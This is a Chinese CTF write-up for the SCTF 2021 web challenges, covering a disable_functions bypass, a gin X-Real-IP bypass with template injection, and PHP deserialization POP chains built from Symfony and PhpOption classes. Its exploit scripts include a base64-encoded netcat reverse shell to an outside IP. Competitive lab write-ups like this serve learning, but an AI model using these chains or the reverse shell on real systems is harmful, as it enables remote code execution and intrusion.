SCTF web

Posted on 2021-12-27,4 min read

前言

PHP Unserialize CTF,一个链子改一步打三个题。也许是非预期吧。

Rceme

取反配合之前绕过pboot的[xxx][0]()

拿本地的所有函数。和靶机的disable_function比较。

剩下几个函数(除去curl一些拓展函数)

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders

这里逗号没了。无法传参。利用可变参数列表绕过

[xxx][0](...[xxx][0]())

构造

create_function(...unserialize(end(getallheaders())))

传array(代码注入)反序列化变成两个参数传入create_function
create_funtion本质是语法解析的。可以直接注入eval

然后putenv也在。highlight_file也在。拿iconv触发就行。

用splfileobject写so

image-20211226020422421
image-20211226020428663
image-20211226020434711
image-20211226020402662

Loginme

https://github.com/gin-gonic/gin/issues/2697

X-real-ip绕过

然后golang 模板注入{{.}}

一个还是两个大括号来着。。拿到flag

Upload_it

文件上传。可以覆盖任意文件

并且有组件依赖,session会自动反序列化拿其中的upload_path拼接。

可以触发tostring

image-20211227100924597

配合之前祥云杯的匿名函数。一把嗦

中间那个类为其他链子测试的。忘删了。

upload it 2

一样的套路。多了个backdoor,array(类名,方法)

文件包含session。反序列化里加个属性值为php代码就行

<?php

namespace Symfony\Component\String{
    class LazyString{
        private $value;
        public function __construct($a){
            $this->value=$a;
        }
    }
}

namespace {
    class sandbox{
        private $evil;
        public $a='<?php system("cat /fl*");?>';
        public function __construct($a){
            $this->evil=$a;
        }
    }
    use Symfony\Component\String\LazyString;
    echo file_put_contents("guoke.php","upload_path|".serialize(new LazyString([new sandbox("/tmp/sess_e973fc5850db8d832ca13ede62921122"),"backdoor"])));
}

ezosu

可以写入任意的session输入

一样的套路。反序列化。把属性输出。

还是一样的任意类任意方法调用。

找个call_user_func_array。参数都可控。但是是private。

image-20211227102355530

当前类很多调用。随便整。

image-20211227102422524
<?php
namespace Symfony\Component\String{
    class LazyString{
        public $value;
        public function __construct($value){
            $this->value=$value;
        }
    }
}

namespace PhpOption{
    final class LazyOption{
        public $callback;
        public $arguments;
        public function __construct($callback,$arguments){
            $this->callback=$callback;
            $this->arguments=$arguments;
        }
    }
}
namespace {
    use Symfony\Component\String\LazyString;
    $la = new LazyString([new PhpOption\LazyOption("system",array('echo$IFS$9cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xNS42Ny4xNDIgMTMzNyA+L3RtcC9m|base64$IFS$9-d|sh')),"get"]);
    #docker没bash
    echo urlencode(serialize($la));
}

用test|反序列化数据。|php反序列化的格式。

#FUMO_on_the_Christmas_tree
一开始写了个正向正则匹配的。发现太JB麻烦了
这题反正最后利用是readfile。可以分为以下几种情况。
1、参数不匹配的
2、参数带hash函数的
把所有带readfile的方法拿出来。然后匹配到参数不匹配和带hash。base64_encode的就少一半
再获取方法名。匹配上一级。判断hash函数。又掉一半
再写个计数器。判断是否base64_encode之后没decode
这样匹配三层调用后。最终就剩下了20个左右。

再写个脚本。根据这20个可利用的危险函数。反向匹配函数名。一级一级往上调用
遇到hash函数就pass
遇到参数不匹配也pass
定义的方法没调用的也pass
最后就出来结果了。

脚本写的太混乱了。就不放了。
过几天看脚本。都看不懂写了啥😂

下一篇: 湖湘杯线下Writeup→